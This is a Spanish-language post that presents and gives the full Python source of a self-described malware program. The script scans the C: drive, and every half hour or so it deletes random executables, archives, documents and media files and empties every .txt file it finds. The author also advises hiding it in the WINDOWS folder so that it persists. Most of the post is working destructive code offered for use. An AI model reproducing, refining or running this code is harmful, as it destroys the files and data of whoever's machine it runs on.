<p>->PRESENTACION<-<p>
1) Busca y encuentra todos los archivos .exe, .doc, zip, .rar y los pone en una lista de archivos comunes.
2) Busca y encuentra todos los archivos .txt y los pone en una lista separada.
3) Busca y encuentra los archivos multimedia ya sean fotos videos y musicas mp3 o mp4 y los pone en la lista separada.
Todo estos 3 pasos los hace en 3 segundos o mas o menos y usando una sola vez la funcion Buscar, aunque tampoco encuentra
todos los archivos pero creo que igual es mejor.
4) Tras pasar media hora:
Borra al azar un archivo de los que estan en la lista de archivos .exe, .doc .zip .rar.
Borra al azar 5 archivos multimedia.
Sobreescribe los archivos .txt (todos) y los deja sin escritura (vacios)
Todo esto ignorando los archivos que sean del sistema o mas bien dicho los que no estan por defecto en el sistema, para esto ignora la busqueda en carptetas como WINDOWS o Ducumments and Settings y el directorio C:/ para no causar tanto daño, porque de no ser asi no tendria sentido!. Mas mejor es dejar al malware con vida.
Es aconsejable esconder el malware en una carpeta dentro de WINDOWS para no eliminar el mismo malware
<f>->FIN DE PRESENTACION<-<f>
#!usr/bin/env python
#Simple malware in python by Sokoleonardo (C) all right reserved
import glob,os
from time import sleep,asctime
from random import randrange
class Malware:
def __init__(self):
self.IgnorarDir = ["C:/WINDOWS\\"]
self.dirActual = ["C:/"]
self.EnExtencion = ["*txt","*mp4","*gif","*bmp","*jpeg","*avi","*mp3","*jpg","*png","*wma","*3gp","*wav","*rec","*mpeg","*divx","*doc","*pdf","*exe","*rar","*zip"]
self.ArchivosComunes = []; self.ArchivosTXT = []; self.ArchivosMultimedia = []; self.ArchivosOficina = []
def Buscar(self):
for NwRuta in self.dirActual:
listado = glob.glob(NwRuta+"*/")
try: listado.remove(self.IgnorarDir[0]) # arreglar!
except: pass
if listado != []:
for carpeta in listado:
self.dirActual.append(carpeta)
for extencion in self.EnExtencion:
files = glob.glob(carpeta+extencion)
if files != []:
for file in files:
if extencion=="*txt": self.ArchivosTXT.append(file)
elif extencion=="*gif" or extencion=="*bmp" or extencion=="*jpeg" or extencion=="*jpg" or extencion=="*png" or extencion=="*avi" or extencion=="*mp3" or extencion=="*mp4" or extencion=="*wma" or extencion=="*3gp" or extencion=="*wav" or extencion=="*rec" or extencion=="*mpeg" or extencion=="*divx": self.ArchivosMultimedia.append(file)
elif extencion=="*doc"or extencion=="*pdf": self.ArchivosOficina.append(file)
else: self.ArchivosComunes.append(file)
def destruir(self):
if len(self.ArchivosComunes) > 0:
try:
ElQueSea = randrange(0,len(self.ArchivosComunes))
os.remove(self.ArchivosComunes[ElQueSea]); sleep(3)
except: pass
if len(self.ArchivosOficina) > 0:
for cuatro in range(4):
try:
AlAzar = randrange(0,len(self.ArchivosOficina))
os.remove(self.ArchivosOficina[AlAzar]); sleep(3)
except: pass
if len(self.ArchivosMultimedia) > 0:
for cinco in range(5):
try:
cualquiera = randrange(0,len(self.ArchivosMultimedia))
os.remove(self.ArchivosMultimedia[cualquiera]); sleep(2)
except: pass
if len(self.ArchivosTXT) > 0:
for cada1 in self.ArchivosTXT:
try:
sobreescribir = open(cada1,"w")
sobreescribir.write("")
sobreescribir.close(); sleep(1)
except: pass
self.ArchivosComunes = []; self.ArchivosTXT = []; self.ArchivosMultimedia = []; self.ArchivosOficina = []; self.dirActual = ["C:/"]
Malware = Malware()
while 1:
Malware.Buscar(); sleep(randrange(1500,1800))
Malware.destruir()
ACTUALIZADO!!